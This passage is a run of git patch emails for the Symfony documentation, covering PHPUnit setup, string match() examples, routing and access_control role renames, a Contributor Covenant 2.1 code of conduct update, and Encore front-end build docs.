 bug, you are fixing a bunch of applications too.
 
 Today's mission is to write unit tests for the framework we have created by
-using `PHPUnit`_. Create a PHPUnit configuration file in
-``example.com/phpunit.xml.dist``:
+using `PHPUnit`_. At first, install PHPUnit as a development dependency:
+
+.. code-block:: terminal
+
+    $ composer require --dev phpunit/phpunit
+
+Then, create a PHPUnit configuration file in ``example.com/phpunit.xml.dist``:
 
 .. code-block:: xml
 

From 4efdd760db1be434254e10bb114456272c9f67df Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 25 Jan 2022 14:54:34 +0100
Subject: [PATCH 1639/5766] Include match examples in the code block

---
 components/string.rst | 26 ++++++++++----------------
 1 file changed, 10 insertions(+), 16 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 3fc50077094..d5110cac96f 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -318,6 +318,16 @@ Methods to Search and Replace
     // checks if the string contents are exactly the same as the given contents
     u('foo')->equalsTo('foo'); // true
 
+    // checks if the string content match the given regular expression.
+    // You can pass flags for preg_match() as second argument. If PREG_PATTERN_ORDER
+    // or PREG_SET_ORDER are passed, preg_match_all() will be used.
+    u('avatar-73647.png')->match('/avatar-(\d+)\.png/');
+    // result = ['avatar-73647.png', '73647']
+    u('avatar-73647.png')->match('/avatar-(\d+)(-\d+)?\.png/', \PREG_UNMATCHED_AS_NULL);
+    // result = ['avatar-73647.png', '73647', null]
+    u('206-555-0100 and 800-555-1212')->match('/\d{3}-\d{3}-\d{4}/', \PREG_PATTERN_ORDER);
+    // result = [['206-555-0100', '800-555-1212']]
+
     // checks if the string contains any of the other given strings
     u('aeiou')->containsAny('a');                 // true
     u('aeiou')->containsAny(['ab', 'efg']);       // false
@@ -354,22 +364,6 @@ Methods to Search and Replace
 
     The ``containsAny()`` method was introduced in Symfony 5.1.
 
-::
-
-You can use ``match()`` to search with a Regular Expression::
-
-    u('avatar-73647.png')->match('/avatar-(\d+)\.png/');
-    // result = ['avatar-73647.png', '73647']
-
-By default, PHP's ``preg_match()`` is used, and you can pass search flags as second argument::
-
-    $string->match('/(a)(b)/', \PREG_UNMATCHED_AS_NULL);
-
-When passing ``\PREG_PATTERN_ORDER`` or ``\PREG_SET_ORDER``, PHP's ``preg_match_all()`` is used.
-Multiple flags can be set with the `|` operator::
-
-    $string->match('/(a)(b)/', \PREG_PATTERN_ORDER|\PREG_UNMATCHED_AS_NULL);
-
 Methods to Join, Split, Truncate and Reverse
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From f6c1ad92611b1f5d87c2cc81687002d5e85eda86 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 Jan 2022 17:04:24 +0100
Subject: [PATCH 1640/5766] [Config] PHP config files are loaded again

---
 configuration.rst | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index de4af5f2a37..175c7cf1c86 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -76,10 +76,13 @@ readable. These are the main advantages and disadvantages of each format:
 
 .. note::
 
-    By default Symfony only loads the configuration files defined in YAML
-    format. If you define configuration in XML and/or PHP formats, update the
-    ``src/Kernel.php`` file to add support for the ``.xml`` and ``.php`` file
-    extensions.
+    By default Symfony loads the configuration files defined in YAML and PHP
+    formats. If you define configuration in XML format, update the
+    ``src/Kernel.php`` file to add support for the ``.xml`` file extension.
+
+    .. versionadded:: 6.1
+
+        The automatic loading of PHP configuration files was introduced in Symfony 6.1.
 
 Importing Configuration Files
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From a358418348cc1bca21f487c2a487950f13e7a1f9 Mon Sep 17 00:00:00 2001
From: Nicolas Jourdan <nicolas.jourdan.c@gmail.com>
Date: Wed, 26 Jan 2022 00:52:04 +0100
Subject: [PATCH 1641/5766] Update Traverse.rst

Added missing ";"
---
 reference/constraints/Traverse.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index dfb92943050..2302139cbb9 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -25,7 +25,7 @@ that all have constraints on their properties.
         namespace App\Entity;
 
         use Doctrine\Common\Collections\ArrayCollection;
-        use Doctrine\Common\Collections\Collection
+        use Doctrine\Common\Collections\Collection;
         use Doctrine\ORM\Mapping as ORM;
         use Symfony\Component\Validator\Constraints as Assert;
 

From 1ba8dd93f04ce698230ee798c6fcb535e0f73339 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ole=20R=C3=B6=C3=9Fner?= <o.roessner@neusta.de>
Date: Thu, 27 Jan 2022 20:22:02 +0100
Subject: [PATCH 1642/5766] hint about creating config/routes/annotations.yaml
 as well, when using attributes without doctrine/annotations.

---
 routing.rst | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/routing.rst b/routing.rst
index 9f7a1fca581..f1b189c6053 100644
--- a/routing.rst
+++ b/routing.rst
@@ -41,7 +41,10 @@ once in your application to enable them:
     Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
     annotate controller actions with routing configuration.
 
-This command also creates the following configuration file:
+If you are using :ref:`Symfony Flex <symfony-flex>` this command also
+creates the following configuration file and you're done. If you aren't
+using flex or want to use attributes, the file has to be added manually.
+``type: annotation`` applies for attributes, too.
 
 .. code-block:: yaml
 
@@ -54,8 +57,9 @@ This command also creates the following configuration file:
         resource: ../../src/Kernel.php
         type: annotation
 
-This configuration tells Symfony to look for routes defined as annotations in
-any PHP class stored in the ``src/Controller/`` directory.
+This configuration tells Symfony to look for routes defined as
+annotations/attributes in any PHP class stored in the ``src/Controller/``
+directory.
 
 Suppose you want to define a route for the ``/blog`` URL in your application. To
 do so, create a :doc:`controller class </controller>` like the following:
@@ -1384,7 +1388,7 @@ A possible solution is to change the parameter requirements to be more permissiv
 
         // src/Controller/DefaultController.php
         namespace App\Controller;
-        
+
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
@@ -1504,7 +1508,7 @@ when importing the routes.
 
         // src/Controller/BlogController.php
         namespace App\Controller;
-        
+
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
         use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;

From 279da7d7082c01a7f6d3d6148602ca7b2712c6ae Mon Sep 17 00:00:00 2001
From: Kamil P <pesek.kamil@seznam.cz>
Date: Fri, 28 Jan 2022 14:16:44 +0100
Subject: [PATCH 1643/5766] Update access_control.rst

I believe there should be PUBLIC_ACCESS instead of IS_AUTHENTICATED_ANONYMOUSLY for Symfony 6
---
 security/access_control.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index a19faee19ba..04b05f8bfb4 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -236,7 +236,7 @@ pattern so that it is only accessible by requests from the local server itself:
             access_control:
                 #
                 # the 'ips' option supports IP addresses and subnet masks
-                - { path: '^/internal', roles: IS_AUTHENTICATED_ANONYMOUSLY, ips: [127.0.0.1, ::1, 192.168.0.1/24] }
+                - { path: '^/internal', roles: PUBLIC_ACCESS, ips: [127.0.0.1, ::1, 192.168.0.1/24] }
                 - { path: '^/internal', roles: ROLE_NO_ACCESS }
 
     .. code-block:: xml
@@ -255,7 +255,7 @@ pattern so that it is only accessible by requests from the local server itself:
                 <!-- ... -->
 
                 <!-- the 'ips' option supports IP addresses and subnet masks -->
-                <rule path="^/internal" role="IS_AUTHENTICATED_ANONYMOUSLY">
+                <rule path="^/internal" role="PUBLIC_ACCESS">
                     <ip>127.0.0.1</ip>
                     <ip>::1</ip>
                 </rule>
@@ -274,7 +274,7 @@ pattern so that it is only accessible by requests from the local server itself:
 
             $security->accessControl()
                 ->path('^/internal')
-                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->roles(['PUBLIC_ACCESS'])
                 // the 'ips' option supports IP addresses and subnet masks
                 ->ips(['127.0.0.1', '::1'])
             ;
@@ -302,7 +302,7 @@ address):
 
 * Now, the first access control rule is enabled as both the ``path`` and the
   ``ip`` match: access is allowed as the user always has the
-  ``IS_AUTHENTICATED_ANONYMOUSLY`` role.
+  ``PUBLIC_ACCESS`` role.
 
 * The second access rule is not examined as the first rule matched.
 
@@ -407,7 +407,7 @@ access those URLs via a specific port. This could be useful for example for
         security:
             # ...
             access_control:
-                - { path: ^/cart/checkout, roles: IS_AUTHENTICATED_ANONYMOUSLY, port: 8080 }
+                - { path: ^/cart/checkout, roles: PUBLIC_ACCESS, port: 8080 }
 
     .. code-block:: xml
 
@@ -424,7 +424,7 @@ access those URLs via a specific port. This could be useful for example for
             <config>
                 <!-- ... -->
                 <rule path="^/cart/checkout"
-                    role="IS_AUTHENTICATED_ANONYMOUSLY"
+                    role="PUBLIC_ACCESS"
                     port="8080"
                 />
             </config>
@@ -440,7 +440,7 @@ access those URLs via a specific port. This could be useful for example for
 
             $security->accessControl()
                 ->path('^/cart/checkout')
-                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->roles(['PUBLIC_ACCESS'])
                 ->port(8080)
             ;
         };
@@ -461,7 +461,7 @@ the user will be redirected to ``https``:
         security:
             # ...
             access_control:
-                - { path: ^/cart/checkout, roles: IS_AUTHENTICATED_ANONYMOUSLY, requires_channel: https }
+                - { path: ^/cart/checkout, roles: PUBLIC_ACCESS, requires_channel: https }
 
     .. code-block:: xml
 
@@ -478,7 +478,7 @@ the user will be redirected to ``https``:
             <config>
                 <!-- ... -->
                 <rule path="^/cart/checkout"
-                    role="IS_AUTHENTICATED_ANONYMOUSLY"
+                    role="PUBLIC_ACCESS"
                     requires-channel="https"
                 />
             </config>
@@ -494,7 +494,7 @@ the user will be redirected to ``https``:
 
             $security->accessControl()
                 ->path('^/cart/checkout')
-                ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                ->roles(['PUBLIC_ACCESS'])
                 ->requiresChannel('https')
             ;
         };

From bd8b2624bb66518eb950f726debb38b12eb61f7b Mon Sep 17 00:00:00 2001
From: Justas Bieliauskas <justyvas0@gmail.com>
Date: Sun, 30 Jan 2022 14:54:39 +0200
Subject: [PATCH 1644/5766] Fix YAML example in "Defining a Service Locator"
 section

Service locator is a first constructor argument but is passed as an array of constructor arguments.
---
 service_container/service_subscribers_locators.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index a0316738d8e..72971213618 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -256,9 +256,10 @@ argument of type ``service_locator``:
         # config/services.yaml
         services:
             App\CommandBus:
-                arguments: !service_locator
-                    App\FooCommand: '@app.command_handler.foo'
-                    App\BarCommand: '@app.command_handler.bar'
+                arguments: 
+                  - !service_locator
+                      App\FooCommand: '@app.command_handler.foo'
+                      App\BarCommand: '@app.command_handler.bar'
 
     .. code-block:: xml
 

From db5ca24b9b0df55bc59b982d9acb757587ef825f Mon Sep 17 00:00:00 2001
From: TimoBakx <timobakx@gmail.com>
Date: Mon, 24 Jan 2022 17:26:19 +0100
Subject: [PATCH 1645/5766] Updated Code of Conduct text to version 2.1 of the
 Contributor Covenant

---
 .github/CODE_OF_CONDUCT.md                    |  12 --
 CODE_OF_CONDUCT.md                            |  83 -----------
 .../code_of_conduct/code_of_conduct.rst       | 138 ++++++++++++------
 3 files changed, 95 insertions(+), 138 deletions(-)
 delete mode 100644 .github/CODE_OF_CONDUCT.md
 delete mode 100644 CODE_OF_CONDUCT.md

diff --git a/.github/CODE_OF_CONDUCT.md b/.github/CODE_OF_CONDUCT.md
deleted file mode 100644
index 9a4e5a2cedc..00000000000
--- a/.github/CODE_OF_CONDUCT.md
+++ /dev/null
@@ -1,12 +0,0 @@
-Code of Conduct
-===============
-
-This project follows a [Code of Conduct][code_of_conduct] in order to ensure an
-open and welcoming environment. Please read the full text for understanding the
-accepted and unaccepted behavior.
-
-Please read also the [reporting guidelines][guidelines], in case you encountered
-or witnessed any misbehavior.
-
-[code_of_conduct]: https://symfony.com/doc/current/contributing/code_of_conduct/code_of_conduct.html
-[guidelines]: https://symfony.com/doc/current/contributing/code_of_conduct/reporting_guidelines.html
diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md
deleted file mode 100644
index 03828e75d73..00000000000
--- a/CODE_OF_CONDUCT.md
+++ /dev/null
@@ -1,83 +0,0 @@
-Code of Conduct
-===============
-
-Our Pledge
-----------
-
-In the interest of fostering an open and welcoming environment, we as
-contributors and maintainers pledge to making participation in our project and
-our community a harassment-free experience for everyone, regardless of age, body
-size, disability, ethnic origin, gender identity and expression, level of
-experience, education, socio-economic status, nationality, personal appearance,
-religion, or sexual identity and orientation.
-
-Our Standards
--------------
-
-Examples of behavior that contributes to creating a positive environment
-include:
-
-* Using welcoming and inclusive language
-* Being respectful of differing viewpoints and experiences
-* Gracefully accepting constructive criticism
-* Focusing on what is best for the community
-* Showing empathy towards other community members
-
-Examples of unacceptable behavior by participants include:
-
-* The use of sexualized language or imagery and unwelcome sexual attention or
-  advances
-* Trolling, insulting/derogatory comments, and personal or political attacks
-* Public or private harassment
-* Publishing others' private information, such as a physical or electronic
-  address, without explicit permission
-* Other conduct which could reasonably be considered inappropriate in a
-  professional setting
-
-Our Responsibilities
---------------------
-
-[CoC Active Response Ensurers, or CARE][1], are responsible for clarifying the
-standards of acceptable behavior and are expected to take appropriate and fair
-corrective action in response to any instances of unacceptable behavior.
-
-CARE team members have the right and responsibility to remove, edit, or reject
-comments, commits, code, wiki edits, issues, and other contributions that are
-not aligned to this Code of Conduct, or to ban temporarily or permanently any
-contributor for other behaviors that they deem inappropriate, threatening,
-offensive, or harmful.
-
-Scope
------
-
-This Code of Conduct applies both within project spaces and in public spaces
-when an individual is representing the project or its community. Examples of
-representing a project or community include using an official project email
-address, posting via an official social media account, or acting as an appointed
-representative at an online or offline event. Representation of a project may be
-further defined and clarified by CARE team members.
-
-Enforcement
------------
-
-Instances of abusive, harassing, or otherwise unacceptable behavior
-[may be reported][2] by contacting the [CARE team members][1].
-All complaints will be reviewed and investigated and will result in a response
-that is deemed necessary and appropriate to the circumstances. The CARE team is
-obligated to maintain confidentiality with regard to the reporter of an
-incident. Further details of specific enforcement policies may be posted
-separately.
-
-CARE team members who do not follow or enforce the Code of Conduct in good
-faith may face temporary or permanent repercussions as determined by the
-[core team][3].
-
-Attribution
------------
-
-This Code of Conduct is adapted from the [Contributor Covenant version 1.4][4].
-
-[1]: https://symfony.com/doc/current/contributing/code_of_conduct/care_team.html
-[2]: https://symfony.com/doc/current/contributing/code_of_conduct/reporting_guidelines.html
-[3]: https://symfony.com/doc/current/contributing/code/core_team.html
-[4]: https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
diff --git a/contributing/code_of_conduct/code_of_conduct.rst b/contributing/code_of_conduct/code_of_conduct.rst
index dcaf5f8ce9e..6202fdad424 100644
--- a/contributing/code_of_conduct/code_of_conduct.rst
+++ b/contributing/code_of_conduct/code_of_conduct.rst
@@ -4,12 +4,15 @@ Code of Conduct
 Our Pledge
 ----------
 
-In the interest of fostering an open and welcoming environment, we as
-contributors and maintainers pledge to making participation in our project and
-our community a harassment-free experience for everyone, regardless of age, body
-size, disability, ethnic origin, gender identity and expression, level of experience,
-education, socio-economic status, nationality, personal appearance,
-religion, or sexual identity and orientation.
+We as members, contributors, and leaders pledge to make participation in our
+community a harassment-free experience for everyone, regardless of age, body
+size, visible or invisible disability, ethnicity, sex characteristics, gender
+identity and expression, level of experience, education, socio-economic status,
+nationality, personal appearance, race, caste, color, religion, or sexual
+identity and orientation.
+
+We pledge to act and interact in ways that contribute to an open, welcoming,
+diverse, inclusive, and healthy community.
 
 Our Standards
 -------------
@@ -17,67 +20,115 @@ Our Standards
 Examples of behavior that contributes to creating a positive environment
 include:
 
-* Using welcoming and inclusive language
-* Being respectful of differing viewpoints and experiences
-* Gracefully accepting constructive criticism
-* Focusing on what is best for the community
-* Showing empathy towards other community members
+* Demonstrating empathy and kindness toward other people
+* Being respectful of differing opinions, viewpoints, and experiences
+* Giving and gracefully accepting constructive feedback
+* Accepting responsibility and apologizing to those affected by our mistakes,
+  and learning from the experience
+* Focusing on what is best not just for us as individuals, but for the overall
+  community
 
-Examples of unacceptable behavior by participants include:
+Examples of unacceptable behavior include:
 
-* The use of sexualized language or imagery and unwelcome sexual attention or
-  advances
-* Trolling, insulting/derogatory comments, and personal or political attacks
+* The use of sexualized language or imagery, and sexual attention or advances of
+  any kind
+* Trolling, insulting or derogatory comments, and personal or political attacks
 * Public or private harassment
-* Publishing others' private information, such as a physical or electronic
-  address, without explicit permission
+* Publishing others’ private information, such as a physical or email address,
+  without their explicit permission
 * Other conduct which could reasonably be considered inappropriate in a
   professional setting
 
 Our Responsibilities
 --------------------
 
-:doc:`CoC Active Response Ensurers, or CARE </contributing/code_of_conduct/care_team>`,
-are responsible for clarifying the standards of acceptable
-behavior and are expected to take appropriate and fair corrective action in
-response to any instances of unacceptable behavior.
+:doc:`CoC Active Response Ensurers (CARE) team members </contributing/code_of_conduct/care_team>`
+are responsible for clarifying and enforcing our standards of acceptable
+behavior and will take appropriate and fair corrective action in response to any
+behavior that they deem inappropriate, threatening, offensive, or harmful.
 
-CARE team members have the right and responsibility to remove, edit, or
-reject comments, commits, code, wiki edits, issues, and other contributions
-that are not aligned to this Code of Conduct, or to ban temporarily or
-permanently any contributor for other behaviors that they deem inappropriate,
-threatening, offensive, or harmful.
+CARE team members have the right and responsibility to remove, edit, or reject
+comments, commits, code, wiki edits, issues, and other contributions that are
+not aligned to this Code of Conduct, and will communicate reasons for moderation
+decisions when appropriate.
 
 Scope
 -----
 
-This Code of Conduct applies both within project spaces and in public spaces
-when an individual is representing the project or its community. Examples of
-representing a project or community include using an official project email
-address, posting via an official social media account, or acting as an appointed
-representative at an online or offline event. Representation of a project may be
-further defined and clarified by CARE team members.
+This Code of Conduct applies within all community spaces, and also applies when
+an individual is officially representing the community in public spaces.
+Examples of representing our community include using an official e-mail address,
+posting via an official social media account, or acting as an appointed
+representative at an online or offline event.
 
 Enforcement
 -----------
 
 Instances of abusive, harassing, or otherwise unacceptable behavior
-:doc:`may be reported </contributing/code_of_conduct/reporting_guidelines>`
-by contacting the :doc:`CARE team members </contributing/code_of_conduct/care_team>`.
-All complaints will be reviewed and investigated and will result in a response that
-is deemed necessary and appropriate to the circumstances. The CARE team is
-obligated to maintain confidentiality with regard to the reporter of an incident.
-Further details of specific enforcement policies may be posted separately.
+:doc:`may be reported </contributing/code_of_conduct/reporting_guidelines>` by
+contacting the :doc:`CARE team members </contributing/code_of_conduct/care_team>`.
+All complaints will be reviewed and investigated promptly and fairly.
+
+CARE team members are obligated to respect the privacy and security of the
+reporter of any incident.
+
+Enforcement Guidelines
+----------------------
+
+The :doc:`CARE team members </contributing/code_of_conduct/care_team>` will
+follow these Community Impact Guidelines in determining the consequences for any
+action they deem in violation of this Code of Conduct:
+
+1. Correction
+~~~~~~~~~~~~~
+
+Community Impact: Use of inappropriate language or other behavior deemed
+unprofessional or unwelcome in the community.
+
+Consequence: A private, written warning from a CARE team member, providing
+clarity around the nature of the violation and an explanation of why the
+behavior was inappropriate. A public apology may be requested.
+
+2. Warning
+~~~~~~~~~~
 
-CARE team members who do not follow or enforce the Code of Conduct in good
-faith may face temporary or permanent repercussions as determined by the
-:doc:`core team </contributing/code/core_team>`.
+Community Impact: A violation through a single incident or series of actions.
+
+Consequence: A warning with consequences for continued behavior. No interaction
+with the people involved, including unsolicited interaction with those enforcing
+the Code of Conduct, for a specified period of time. This includes avoiding
+interactions in community spaces as well as external channels like social media.
+Violating these terms may lead to a temporary or permanent ban.
+
+3. Temporary Ban
+~~~~~~~~~~~~~~~~
+
+Community Impact: A serious violation of community standards, including
+sustained inappropriate behavior.
+
+Consequence: A temporary ban from any sort of interaction or public
+communication with the community for a specified period of time. No public or
+private interaction with the people involved, including unsolicited interaction
+with those enforcing the Code of Conduct, is allowed during this period.
+Violating these terms may lead to a permanent ban.
+
+4. Permanent Ban
+~~~~~~~~~~~~~~~~
+
+Community Impact: Demonstrating a pattern of violation of community standards,
+including sustained inappropriate behavior, harassment of an individual, or
+aggression toward or disparagement of classes of individuals.
+
+Consequence: A permanent ban from any sort of public interaction within the
+community.
 
 Attribution
 -----------
 
-This Code of Conduct is adapted from the `Contributor Covenant`_, version 1.4,
-available at https://www.contributor-covenant.org/version/1/4/code-of-conduct/
+This Code of Conduct is adapted from the `Contributor Covenant`_, version 2.1,
+available at https://www.contributor-covenant.org/version/2/1/code_of_conduct.html
+
+Community Impact Guidelines were inspired by `Mozilla’s code of conduct enforcement ladder`_.
 
 Related Documents
 -----------------
@@ -90,3 +141,4 @@ Related Documents
     concrete_example_document
 
 .. _Contributor Covenant: https://www.contributor-covenant.org
+.. _Mozilla’s code of conduct enforcement ladder: https://github.com/mozilla/diversity

From 6d80ef905b259c9510e2ffb0853f078410f3d28a Mon Sep 17 00:00:00 2001
From: "Phil E. Taylor" <phil@phil-taylor.com>
Date: Sun, 30 Jan 2022 01:30:31 +0000
Subject: [PATCH 1646/5766] tidy MESSENGER_CONSUMER_NAME

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 19702d4330e..bbdb25f8775 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1504,7 +1504,7 @@ sentinel_master          String, if null or empty Sentinel      null
     There should never be more than one ``messenger:consume`` command running with the same
     combination of ``stream``, ``group`` and ``consumer``, or messages could end up being
     handled more than once. If you run multiple queue workers, ``consumer`` can be set to an
-    environment variable (like ``%env(MESSENGER_CONSUMER_NAME)%``) set by Supervisor
+    environment variable, like ``%env(MESSENGER_CONSUMER_NAME)%``, set by Supervisor
     (example below) or any other service used to manage the worker processes.
     In a container environment, the ``HOSTNAME`` can be used as the consumer name, since
     there is only one worker per container/host. If using Kubernetes to orchestrate the

From 4177f813ea96ce9f00f07578aee72a4b9cf50f86 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Sun, 16 Jan 2022 20:50:27 -0500
Subject: [PATCH 1647/5766] [WIP] Integrating UX docs more closely into Symfony
 docs

---
 .github/workflows/ci.yaml          |   2 +-
 frontend.rst                       |   5 +
 frontend/_ux-libraries.rst.inc     |  18 ++
 frontend/encore/simple-example.rst | 258 ++++++++++++++++++++---------
 frontend/ux.rst                    | 145 ++++++++++++++++
 reference/forms/types/map.rst.inc  |  19 +++
 templates.rst                      |  29 +++-
 7 files changed, 388 insertions(+), 88 deletions(-)
 create mode 100644 frontend/_ux-libraries.rst.inc
 create mode 100644 frontend/ux.rst

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 6c10a4eaf9b..6750bd8eb20 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -118,7 +118,7 @@ jobs:
 
           - name: Install dependencies
             if: ${{ steps.find-files.outputs.files }}
-            run: composer create-project symfony-tools/code-block-checker _checker
+            run: composer create-project symfony-tools/code-block-checker:@dev _checker
 
           - name: Install test application
             if: ${{ steps.find-files.outputs.files }}
diff --git a/frontend.rst b/frontend.rst
index 5ab7bf9baaa..ef264acffa9 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -86,6 +86,11 @@ Full API
 
 * `Full API`_
 
+Symfony UX Components
+---------------------
+
+.. include:: /frontend/_ux-libraries.rst.inc
+
 Other Front-End Articles
 ------------------------
 
diff --git a/frontend/_ux-libraries.rst.inc b/frontend/_ux-libraries.rst.inc
new file mode 100644
index 00000000000..76e6ea7f5bb
--- /dev/null
+++ b/frontend/_ux-libraries.rst.inc
@@ -0,0 +1,18 @@
+* `ux-turbo`_: Integration with `Turbo Drive`_ for a single-page-app experience
+* `ux-live-component`_: Build Dynamic Interfaces with Zero JavaScript
+* `ux-twig-component`_: Build Twig Components Backed by a PHP Class
+* `ux-chartjs`_: Easy charts with Chart.js
+* `ux-lazy-image`_: Optimize Image Loading with BlurHash
+* `ux-cropperjs`_: Form Type and tools for cropping images
+* `ux-dropzone`_: Form type for stylized "drop zone" for file uploads
+* `ux-swup`_: Integration with Swup
+
+.. _`ux-turbo`: https://symfony.com/bundles/ux-turbo/current/index.html
+.. _`ux-live-component`: https://symfony.com/bundles/ux-live-component/current/index.html
+.. _`ux-twig-component`: https://symfony.com/bundles/ux-twig-component/current/index.html
+.. _`ux-chartjs`: https://symfony.com/bundles/ux-chart-js/current/index.html
+.. _`ux-lazy-image`: https://symfony.com/bundles/ux-lazy-image/current/index.html
+.. _`ux-cropperjs`: https://symfony.com/bundles/ux-cropperjs/current/index.html
+.. _`ux-dropzone`: https://symfony.com/bundles/ux-dropzone/current/index.html
+.. _`ux-swup`: https://symfony.com/bundles/ux-swup/current/index.html
+.. _`Turbo Drive`: https://turbo.hotwired.dev/
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index cd7cd8ffbcc..349a4bbbd1e 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -1,11 +1,14 @@
 Encore: Setting up your Project
 ===============================
 
-After :doc:`installing Encore </frontend/encore/installation>`, your app already has one
-CSS and one JS file, organized into an ``assets/`` directory:
+After :doc:`installing Encore </frontend/encore/installation>`, your app already
+has a few files, organized into an ``assets/`` directory:
 
-* ``assets/js/app.js``
-* ``assets/css/app.css``
+* ``assets/app.js``
+* ``assets/bootstrap.js``
+* ``assets/controllers.json``
+* ``assets/styles/app.css``
+* ``assets/controllers/hello_controller.js``
 
 With Encore, think of your ``app.js`` file like a standalone JavaScript
 application: it will *require* all of the dependencies it needs (e.g. jQuery or React),
@@ -14,18 +17,19 @@ application: it will *require* all of the dependencies it needs (e.g. jQuery or
 
 .. code-block:: javascript
 
-    // assets/js/app.js
+    // assets/app.js
     // ...
 
-    import '../css/app.css';
+    import './styles/app.css';
 
-    // var $ = require('jquery');
-
-Encore's job (via Webpack) is simple: to read and follow *all* of the ``require()``
+Encore's job (via Webpack) is simple: to read and follow *all* of the ``import``
 statements and create one final ``app.js`` (and ``app.css``) that contains *everything*
 your app needs. Encore can do a lot more: minify files, pre-process Sass/LESS,
 support React, Vue.js, etc.
 
+The other files - ``bootstrap.js``, ``controllers.json`` and ``hello_controller.js``
+relate to a topic you'll learn about soon: `Stimulus & Symfony UX`_.
+
 Configuring Encore/Webpack
 --------------------------
 
@@ -35,7 +39,7 @@ of your project. It already holds the basic config you need:
 .. code-block:: javascript
 
     // webpack.config.js
-    var Encore = require('@symfony/webpack-encore');
+    const Encore = require('@symfony/webpack-encore');
 
     Encore
         // directory where compiled assets will be stored
@@ -43,14 +47,15 @@ of your project. It already holds the basic config you need:
         // public path used by the web server to access the output path
         .setPublicPath('/build')
 
-        .addEntry('app', './assets/js/app.js')
+        .addEntry('app', './assets/app.js')
 
-        // ...
+        // uncomment this if you want use jQuery in the following example
+        .autoProvidejQuery()
     ;
 
     // ...
 
-The *key* part is ``addEntry()``: this tells Encore to load the ``assets/js/app.js``
+The *key* part is ``addEntry()``: this tells Encore to load the ``assets/app.js``
 file and follow *all* of the ``require()`` statements. It will then package everything
 together and - thanks to the first ``app`` argument - output final ``app.js`` and
 ``app.css`` files into the ``public/build`` directory.
@@ -61,27 +66,24 @@ To build the assets, run the following if you use the Yarn package manager:
 
 .. code-block:: terminal
 
-    # compile assets once
-    $ yarn encore dev
+    # compile assets and automatically re-compile when files change
+    $ yarn watch
 
-    # or, recompile assets automatically when files change
-    $ yarn encore dev --watch
-
-    # on deploy, create a production build
-    $ yarn encore production
-
-If you use the npm package manager, run the following commands instead:
+    # if using npm, use "npm run" and then any of these commands
+    $ npm run watch
 
-.. code-block:: terminal
+    # or, run a dev-server that can sometimes update your code without refreshing the page
+    $ yarn dev-server
 
     # compile assets once
-    $ npm run dev
-
-    # or, recompile assets automatically when files change
-    $ npm run watch
+    $ yarn dev
 
     # on deploy, create a production build
-    $ npm run build
+    $ yarn build
+
+All of these commands - e.g. ``dev`` or ``watch`` - are shortcuts that are defined
+in your ``package.json`` file. If you use the npm package manager, replace ``yarn``
+with ``npm run``.
 
 .. note::
 
@@ -93,8 +95,15 @@ Congrats! You now have three new files:
 * ``public/build/app.css`` (holds all the CSS for your "app" entry)
 * ``public/build/runtime.js`` (a file that helps Webpack do its job)
 
-Next, include these in your base layout file. Two Twig helpers from WebpackEncoreBundle
-can do most of the work for you:
+.. note::
+
+    In reality, you probably have a few *more* files in ``public/build``. Some of
+    these are due to :doc:`code splitting </frontend/encore/split-chunks>`, an optimization
+    that helps performance, but doesn't affect how things work. Others help Encore
+    do its work.
+
+Next, to include these in your base layout, you can leverage two Twig helpers from
+WebpackEncoreBundle:
 
 .. code-block:: html+twig
 
@@ -128,15 +137,17 @@ can do most of the work for you:
 .. _encore-entrypointsjson-simple-description:
 
 That's it! When you refresh your page, all of the JavaScript from
-``assets/js/app.js`` - as well as any other JavaScript files it included - will
+``assets/app.js`` - as well as any other JavaScript files it included - will
 be executed. All the CSS files that were required will also be displayed.
 
 The ``encore_entry_link_tags()`` and ``encore_entry_script_tags()`` functions
-read from an ``entrypoints.json`` file that's generated by Encore to know the exact
+read from a ``public/build/entrypoints.json`` file that's generated by Encore to know the exact
 filename(s) to render. This file is *especially* useful because you can
